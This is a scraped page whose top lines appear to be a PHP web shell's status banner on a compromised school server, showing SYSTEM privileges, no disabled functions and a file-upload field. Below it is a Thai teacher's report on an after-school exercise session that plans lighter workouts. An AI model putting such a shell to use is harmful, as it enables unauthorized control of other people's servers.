| Server IP : 104.21.80.248 / Your IP : 172.71.28.155 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Inetpub/www/myschool/chongphran/data/tkk1text/ |
Upload File : |
<p> ตามที่ข้าเจ้าได้ดำเนินการจัดกิจกรรมคลินิกสุขภาพกายและจิตใจ(ส่งเสริมการออกกำลังกายครู บุคลากรและนักเรียน) ในวันที่ 12 ธันวาคม พ.ศ. 2567 เวลา 16.00 น. - 17.00 น. ซึ่งได้ดำเนินการตามขั้นตอนดังนี้ 1.อบอุ่นร่างกาย 10 นาที 2.เดิน-วิ่ง 10 นาที 3.ฺBody Weight 20 นาที 4.cool down 20 นาที ไปแล้วนั้น</p> <p> การดำเนินการดังกล่าวพบว่า ท่า Body Weight บางท่ามีความหนักในการออกกำลังกายอยู่ในระดับมาก ซึ่งทำให้ผู้เข้าร่วมกิจกรรมบางท่านไม่สามารถปฏิบัติได้</p> <p> โดยข้าพเจ้าจะนำปัญหาและอุปสรรคในครั้งนี้ไปพัฒนาในเรื่อง การจัดโปรแกรมการออกกำลังกายให้เหมาะสม โดยมีความหนักในการออกกำลังกายอยู่ในระดับปานกลาง</p> <p> </p>